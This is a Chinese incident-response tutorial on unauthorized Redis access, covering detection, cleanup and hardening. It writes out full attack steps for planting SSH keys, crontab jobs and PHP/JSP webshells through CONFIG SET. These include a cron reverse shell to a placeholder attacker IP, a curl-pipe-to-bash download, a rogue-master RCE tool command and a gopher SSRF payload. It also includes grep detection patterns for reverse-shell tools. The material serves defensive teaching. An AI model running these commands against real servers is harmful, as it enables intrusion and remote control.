Redis 未授权访问应急响应 本章聚焦 Redis 未授权访问这一高频攻击场景,详细拆解三大经典攻击链的原理与检测方法,并覆盖主从复制 RCE 等高级攻击手法
关联章节:04-账户安全排查 、15-Crontab后门 、16-SSH-authorized_keys后门
1. Redis 未授权访问原理 1.1 默认配置风险 Redis 在早期版本(3.x 及之前)默认配置非常宽松,存在以下安全隐患:
配置项
默认值(危险)
安全值
bind
0.0.0.0(所有接口)
127.0.0.1 或指定内网 IP
requirepass
无(空密码)
设置强密码
protected-mode
no(3.2 之前)
yes
port
6379
非标准端口
当 Redis 绑定在 0.0.0.0 且没有密码保护时,任何人都可以通过网络直接连接并执行任意 Redis 命令
更危险的是,Redis 提供了 CONFIG SET 命令,允许在运行时修改配置,包括数据存储路径和文件名
这意味着攻击者可以将 Redis 的数据”写入”到服务器上的任意位置
1.2 Redis 版本安全演进 Redis 3.x(及更早版本)
默认不开启 protected-mode
默认绑定所有网卡
默认无密码
这是受害面最广的版本
Redis 3.2+
引入 protected-mode,默认开启
当同时满足以下条件时拒绝外部连接:
没有设置 bind 指令
没有设置 requirepass
但很多管理员为了”方便”,手动关闭了 protected-mode
Redis 4.x
引入 MODULE LOAD 命令,可以动态加载 .so 模块
这为主从复制 RCE 攻击提供了新的利用方式
Redis 6.x
引入 ACL(Access Control List)系统
支持多用户和细粒度权限控制
支持 TLS 加密连接
默认用户仍然没有密码,但安全建议更加突出
Redis 7.x
进一步强化 ACL
CONFIG SET 等危险命令可通过 ACL 限制
但向后兼容,旧配置仍可运行
快速检查 Redis 版本:
1 2 3 redis-cli INFO server | grep redis_version redis-cli -h <target_ip> -p 6379 INFO server 2>/dev/null | grep redis_version
1.3 攻击面扫描 判断目标是否存在 Redis 未授权访问:
1 2 3 4 5 6 7 8 9 10 redis-cli -h <target_ip> -p 6379 PING nmap -sV -p 6379 <target_ip> nmap --script redis-info -p 6379 <target_ip> masscan -p6379 <ip_range> --rate=10000
在应急响应中,我们需要反向思考:检查我们的 Redis 是否暴露在了公网
1 2 3 4 5 6 7 ss -tlnp | grep 6379 netstat -tlnp | grep 6379 iptables -L -n | grep 6379 firewall-cmd --list-all 2>/dev/null | grep 6379
2. 三大经典攻击链 2.1 攻击链 1:写入 SSH 公钥 2.1.1 攻击原理 攻击者利用 CONFIG SET dir 和 CONFIG SET dbfilename 修改 Redis 的 RDB 持久化路径
将路径指向 /root/.ssh/,文件名设为 authorized_keys
然后将自己的 SSH 公钥写入 Redis 的一个 key 中
执行 SAVE 触发 RDB 持久化,Redis 会将数据(包含公钥)写入目标文件
由于 SSH 在解析 authorized_keys 时会忽略非标准行,攻击者的公钥可以被正确识别
2.1.2 完整攻击步骤 攻击者端生成密钥对:
1 ssh-keygen -t rsa -b 4096 -f /tmp/redis_rsa -N ""
将公钥写入 Redis:
1 2 3 4 5 6 7 8 9 (echo -e "\n\n" ; cat /tmp/redis_rsa.pub; echo -e "\n\n" ) > /tmp/pub.txt redis-cli -h <target_ip> -p 6379 flushall cat /tmp/pub.txt | redis-cli -h <target_ip> -p 6379 -x set ssh_keyredis-cli -h <target_ip> -p 6379 config set dir /root/.ssh/ redis-cli -h <target_ip> -p 6379 config set dbfilename authorized_keys redis-cli -h <target_ip> -p 6379 save
攻击者直接 SSH 登录:
1 ssh -i /tmp/redis_rsa root@<target_ip>
2.1.3 检测方法 检查 authorized_keys 是否被篡改
1 2 3 4 5 6 7 cat /root/.ssh/authorized_keysxxd /root/.ssh/authorized_keys | head -5
检查文件元数据
1 2 3 4 5 6 stat /root/.ssh/authorized_keysls -la /root/.ssh/authorized_keys
检查所有用户的 authorized_keys
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 for user_home in /home/* /root; do auth_file="$user_home /.ssh/authorized_keys" if [ -f "$auth_file " ]; then echo "=== $auth_file ===" if xxd "$auth_file " | grep -q "REDIS" ; then echo "[!] 警告: 疑似 Redis 写入的公钥文件!" fi stat "$auth_file " echo "--- 内容 ---" cat "$auth_file " echo "" fi done
与已知合法公钥对比
1 2 3 4 5 6 while IFS= read -r line; do echo "$line " | ssh-keygen -l -f - 2>/dev/null done < /root/.ssh/authorized_keys
2.2 攻击链 2:写入 Crontab 2.2.1 攻击原理 与写 SSH 公钥类似,但目标路径改为 crontab 目录
Ubuntu/Debian 系统 :/var/spool/cron/crontabs/
CentOS/RHEL 系统 :/var/spool/cron/
cron 服务会解析这些文件并定时执行其中的命令
cron 对格式的容忍度比 SSH 更低,但仍然会尝试解析有效行
2.2.2 完整攻击步骤 1 2 3 4 5 6 7 8 9 10 11 12 13 redis-cli -h <target_ip> -p 6379 > set cron_payload "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/攻击者IP/4444 0>&1\n\n" > config set dir /var/spool/cron/ > config set dbfilename root > save redis-cli -h <target_ip> -p 6379 > set cron_payload "\n\n*/5 * * * * curl http://恶意IP/shell.sh | bash\n\n" > config set dir /var/spool/cron/ > config set dbfilename root > save
2.2.3 Ubuntu 与 CentOS 的差异
差异点
Ubuntu/Debian
CentOS/RHEL
crontab 目录
/var/spool/cron/crontabs/
/var/spool/cron/
文件权限要求
必须 0600,且属主匹配
相对宽松
cron 容错性
较严格,RDB 数据可能导致 cron 拒绝解析
较宽松,会跳过无效行
重要 :在 Ubuntu 系统上,由于 cron 对文件权限和格式要求更严格,Redis 写入的 crontab 可能不会被执行。但不能因此放松警惕,攻击者可能使用其他技巧绕过
2.2.4 检测方法 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 for user in $(cut -d: -f1 /etc/passwd); do crontab_content=$(crontab -l -u "$user " 2>/dev/null) if [ -n "$crontab_content " ]; then echo "=== $user ===" echo "$crontab_content " fi done for f in /var/spool/cron/*; do if [ -f "$f " ]; then echo "=== $f ===" xxd "$f " | head -3 if xxd "$f " | grep -q "REDIS" ; then echo "[!] 警告: 疑似 Redis 写入的 crontab!" fi fi done for f in /var/spool/cron/crontabs/*; do if [ -f "$f " ]; then echo "=== $f ===" xxd "$f " | head -3 if xxd "$f " | grep -q "REDIS" ; then echo "[!] 警告: 疑似 Redis 写入的 crontab!" fi fi done grep -rn "curl\|wget\|/dev/tcp\|bash -i\|nc -e\|python -c" /var/spool/cron/ 2>/dev/null grep -rn "curl\|wget\|/dev/tcp\|bash -i\|nc -e\|python -c" /var/spool/cron/crontabs/ 2>/dev/null xxd /var/spool/cron/root | head -10
2.2.5 cron 日志辅助确认 1 2 3 4 5 6 7 8 9 grep CRON /var/log/syslog | tail -50 grep CRON /var/log/cron | tail -50 grep -E "curl|wget|bash|sh|python" /var/log/syslog 2>/dev/null grep -E "curl|wget|bash|sh|python" /var/log/cron 2>/dev/null
2.3 攻击链 3:写入 Webshell 2.3.1 攻击原理 将 Redis RDB 文件写入 Web 服务器的文档根目录
常见目标路径:
/var/www/html/(Apache 默认)
/usr/share/nginx/html/(Nginx 默认)
/opt/lampp/htdocs/(XAMPP)
/usr/local/tomcat/webapps/ROOT/(Tomcat)
2.3.2 完整攻击步骤 1 2 3 4 5 6 7 8 9 10 11 12 13 redis-cli -h <target_ip> -p 6379 > set webshell "\n\n<?php @eval($_POST ['cmd']); ?>\n\n" > config set dir /var/www/html/ > config set dbfilename shell.php > save redis-cli -h <target_ip> -p 6379 > set webshell "\n\n<%Runtime.getRuntime().exec(request.getParameter(\"cmd\"));%>\n\n" > config set dir /usr/local/tomcat/webapps/ROOT/ > config set dbfilename cmd.jsp > save
2.3.3 检测方法 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 find /var/www/ /usr/share/nginx/ -type f \( -name "*.php" -o -name "*.jsp" \) -exec sh -c ' if xxd "{}" | head -1 | grep -q "REDIS"; then echo "[!] 疑似 Redis 写入: {}" fi ' \;find /var/www/ -type f -mtime -7 -ls 2>/dev/null grep -rn "eval\|system\|exec\|passthru\|shell_exec\|assert" /var/www/html/ --include="*.php" 2>/dev/null ls -la /var/www/html/*.phpfile /var/www/html/*.php
2.3.4 特殊情况 PHP 对文件中的二进制数据有一定容忍度,只要 <?php ... ?> 标签完整,中间的代码就能执行
但 JSP 的容忍度较低,复杂的 webshell 可能无法正常执行
攻击者有时会使用更简短的 payload 来提高成功率
3. Redis 高级攻击 3.1 主从复制 RCE(FULLRESYNC + MODULE LOAD) 3.1.1 攻击原理 Redis 4.x 引入了 MODULE LOAD 命令,可以加载 .so 动态链接库扩展 Redis 功能
攻击者利用 Redis 的主从复制机制,将恶意 .so 文件同步到目标 Redis
具体步骤:
攻击者启动一个恶意 Redis 主节点(或使用工具模拟)
让目标 Redis 成为攻击者的从节点(SLAVEOF 攻击者IP 端口)
通过 FULLRESYNC 全量同步将恶意 .so 文件传输到目标
在目标 Redis 上执行 MODULE LOAD /path/to/evil.so
调用恶意模块提供的命令(如 system.exec)执行任意系统命令
3.1.2 常用工具 1 2 3 4 5 6 python3 redis-rogue-server.py --rhost <target_ip> --lhost <attacker_ip>
3.1.3 检测方法 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 redis-cli INFO replication redis-cli MODULE LIST redis-cli CONFIG GET dir find / -name "*.so" -newer /etc/passwd -ls 2>/dev/null grep -E "SLAVE|REPLCONF|FULLRESYNC|MODULE" /var/log/redis/redis-server.log 2>/dev/null grep -E "SLAVE|REPLCONF|FULLRESYNC|MODULE" /var/log/redis.log 2>/dev/null
3.2 Lua 沙箱逃逸 Redis 支持通过 EVAL 命令执行 Lua 脚本
正常情况下,Lua 沙箱限制了可用的函数和模块
历史上出现过多个 Lua 沙箱逃逸漏洞:
CVE-2022-0543 (Debian/Ubuntu 特有)
由于 Debian 打包 Redis 时链接了系统 Lua 库而非静态编译
攻击者可通过 package.loadlib 加载任意 .so 文件
影响范围:Debian/Ubuntu 上的 Redis
1 2 3 4 5 6 7 8 9 10 redis-cli INFO server | grep -E "redis_version|os" grep -i "lua\|eval\|loadlib" /var/log/redis/*.log 2>/dev/null ldd $(which redis-server) | grep lua
3.3 SSRF 通过 Redis(Gopher 协议) 当 Web 应用存在 SSRF 漏洞时,攻击者可以通过 Gopher 协议构造 Redis 命令
即使 Redis 只监听 127.0.0.1,也能通过 SSRF 间接攻击
Gopher 协议格式:
1 gopher ://127.0.0.1:6379 /_*3 %0 d%0 a$3 %0 d%0 aset%0 d%0 a$4 %0 d%0 akey1%0 d%0 a$7 %0 d%0 avalue1%0 d%0 a
检测方法:
1 2 3 4 5 6 7 8 grep -ri "gopher://" /var/log/nginx/ /var/log/apache2/ /var/log/httpd/ 2>/dev/null redis-cli SLOWLOG GET 100
防御:Redis 绑定 127.0.0.1 并不够,还需要设置密码。Web 应用需要对 SSRF 进行防护
4. 排查方法 4.1 检查 Redis 配置 这是排查的第一步——了解 Redis 当前的安全状态
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 redis-cli CONFIG GET "*" redis-cli CONFIG GET bind redis-cli CONFIG GET requirepass redis-cli CONFIG GET protected-mode redis-cli CONFIG GET dir redis-cli CONFIG GET dbfilename redis-cli CONFIG GET rename-command redis-cli CONFIG GET slave-read-only redis-cli CONFIG GET loadmodule redis-cli CONFIG GET "config-file"
4.2 检查 Redis 中的异常 Key 攻击者写入数据时会创建 Key,检查是否有可疑的 Key
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 redis-cli KEYS "*" redis-cli --scan --pattern "*" redis-cli GET <key_name> redis-cli TYPE <key_name> redis-cli KEYS "*ssh*" redis-cli KEYS "*shell*" redis-cli KEYS "*cron*" redis-cli KEYS "*hack*"
4.3 检查 Redis 慢日志和命令记录 Redis 的慢日志可以记录执行时间较长的命令
1 2 3 4 5 6 7 8 9 10 11 12 13 redis-cli SLOWLOG GET 100 redis-cli SLOWLOG LEN
如果开启了 Redis 日志,也可以从日志文件分析
1 2 3 4 5 6 7 8 redis-cli CONFIG GET logfile cat /var/log/redis/redis-server.log | grep -E "CONFIG|SAVE|SLAVE|MODULE|EVAL|FLUSH" redis-cli CONFIG GET loglevel
4.4 检查 Redis INFO 信息 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 redis-cli INFO redis-cli INFO server redis-cli INFO clients redis-cli INFO memory redis-cli INFO stats redis-cli INFO replication redis-cli INFO keyspace redis-cli CLIENT LIST redis-cli INFO commandstats
4.5 网络层排查 检查谁连接了 Redis(6379 端口)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 ss -tnp | grep 6379 netstat -tnp | grep 6379 tcpdump -i eth0 port 6379 -w /tmp/redis_traffic.pcap & grep 6379 /var/log/messages 2>/dev/null journalctl -u firewalld | grep 6379 2>/dev/null conntrack -L | grep 6379 2>/dev/null
4.6 关联排查 Redis 未授权访问的攻击通常是攻击链的一环,需要关联排查后续操作
排查顺序:
SSH Keys → 参考 16-SSH-authorized_keys后门
1 2 find / -name "authorized_keys" -exec ls -la {} \; -exec cat {} \; 2>/dev/null
Crontab → 参考 15-Crontab后门
1 2 3 4 5 6 7 for user in $(cut -d: -f1 /etc/passwd); do echo "=== $user ===" crontab -l -u "$user " 2>/dev/null done cat /etc/crontabls -la /etc/cron.d/
Webshell → 检查 web 目录
1 2 find /var/www/ /usr/share/nginx/ -type f -mtime -3 -ls 2>/dev/null
后续操作 → 攻击者获取权限后可能做了什么
1 2 3 4 5 6 7 cat /root/.bash_historygrep "useradd\|adduser" /var/log/auth.log 2>/dev/null grep "useradd\|adduser" /var/log/secure 2>/dev/null top -bn1 -o %CPU | head -20
5. 应急处置与加固 5.1 清除恶意数据 清除 Redis 中的恶意 Key
1 2 3 4 5 6 7 8 9 redis-cli KEYS "*" redis-cli DEL ssh_key redis-cli DEL crackit redis-cli DEL webshell redis-cli DEL cron_payload redis-cli BGSAVE cp /var/lib/redis/dump.rdb /tmp/redis_backup_$(date +%Y%m%d).rdb
恢复 Redis 配置
1 2 3 4 5 6 7 8 9 10 11 12 redis-cli CONFIG SET dir /var/lib/redis/ redis-cli CONFIG SET dbfilename dump.rdb redis-cli SLAVEOF NO ONE redis-cli REPLICAOF NO ONE redis-cli MODULE LIST redis-cli MODULE UNLOAD <module_name>
清除写入的后门文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 > /root/.ssh/authorized_keys crontab -r -u root crontab -e -u root find /var/www/ -name "*.php" -exec file {} \; | grep "data" rm /var/www/html/shell.php
5.2 Redis 安全加固 设置密码认证
1 2 3 4 5 requirepass YourStr0ngP@ssw0rd! redis-cli CONFIG SET requirepass "YourStr0ngP@ssw0rd!"
绑定监听地址
1 2 3 4 bind 127.0.0.1bind 127.0.0.1 192.168.1.100
开启 protected-mode
重命名危险命令
1 2 3 4 5 6 7 8 9 10 11 rename-command CONFIG "REDIS_CONFIG_b3d8f7a2" rename-command FLUSHALL "" rename-command FLUSHDB "" rename-command EVAL "" rename-command DEBUG "" rename-command SLAVEOF "" rename-command REPLICAOF "" rename-command MODULE "" rename-command SAVE "REDIS_SAVE_e5c1a9f4" rename-command BGSAVE "REDIS_BGSAVE_d7b2c8e6"
以低权限用户运行 Redis
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 ps aux | grep redis-server useradd -r -s /sbin/nologin redis chown -R redis:redis /var/lib/redis/chown redis:redis /etc/redis/redis.confsystemctl daemon-reload systemctl restart redis
防火墙限制
1 2 3 4 5 6 7 8 9 10 11 12 iptables -A INPUT -p tcp --dport 6379 -s 127.0.0.1 -j ACCEPT iptables -A INPUT -p tcp --dport 6379 -j DROP firewall-cmd --permanent --add-rich-rule='rule family="ipv4" source address="127.0.0.1" port protocol="tcp" port="6379" accept' firewall-cmd --permanent --remove-service=redis 2>/dev/null firewall-cmd --reload ufw deny 6379 ufw allow from 127.0.0.1 to any port 6379
Redis 6.x ACL 配置
1 2 3 4 5 6 7 8 9 redis-cli ACL SETUSER app_user on >password ~app:* +get +set +del -config -module -slaveof redis-cli ACL SETUSER default on >password ~* +@all -config -module -slaveof -eval redis-cli ACL LIST redis-cli ACL GETUSER default
5.3 加固检查清单
检查项
命令
期望结果
监听地址
redis-cli CONFIG GET bind
127.0.0.1 或内网 IP
密码设置
redis-cli CONFIG GET requirepass
非空
protected-mode
redis-cli CONFIG GET protected-mode
yes
运行用户
ps aux | grep redis
非 root
端口暴露
ss -tlnp | grep 6379
仅本地监听
危险命令
redis-cli CONFIG GET rename-command
已重命名
已加载模块
redis-cli MODULE LIST
空或已知模块
主从状态
redis-cli INFO replication
role:master(除非有意配置从节点)
6. 实战练习 6.1 配套实验环境 实验目录:labs/04-redis-unauth/
环境包含一个配置不当的 Redis 实例和一个 Web 服务器
实验目标:
发现 Redis 未授权访问
复现三大攻击链
排查所有后门
完成安全加固
6.2 练习场景 场景 1:SSH 公钥写入排查
管理员发现有未知 IP 通过 SSH 登录了服务器
排查步骤:
检查 /root/.ssh/authorized_keys 内容
使用 xxd 确认是否包含 RDB 数据
检查 Redis 日志和配置
清除恶意公钥并加固
场景 2:挖矿病毒入口排查
服务器 CPU 100%,发现挖矿进程
排查步骤:
发现挖矿进程并确认 PID
检查 crontab 中的下载命令
追溯 crontab 写入方式(Redis)
检查 Redis 配置和连接记录
完成全链条排查和清理
参考 14.5-挖矿病毒应急 中的处置流程
场景 3:主从复制 RCE
Redis 被设置为从节点,加载了恶意模块
排查步骤:
redis-cli INFO replication 发现异常
redis-cli MODULE LIST 发现恶意模块
检查 /proc/PID/exe 确认恶意 .so 文件
卸载模块、恢复配置、加固
6.3 排查 Checklist 完整的 Redis 未授权访问应急排查清单:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 □ 确认 Redis 版本和配置 □ 检查 Redis 监听地址和密码 □ 检查 Redis 中的异常 key □ 检查 Redis 慢日志 □ 检查 Redis 主从复制状态 □ 检查 Redis 已加载模块 □ 检查 /root/ .ssh/authorized_keys(所有用户) □ 检查 crontab(所有用户 + /etc/ cron.*) □ 检查 web 目录是否有 webshell □ 检查网络连接(谁连过 6379 ) □ 关联排查后续操作(新用户、挖矿、后门) □ 清除恶意数据和后门 □ Redis 安全加固 □ 防火墙规则限制 □ 持续监控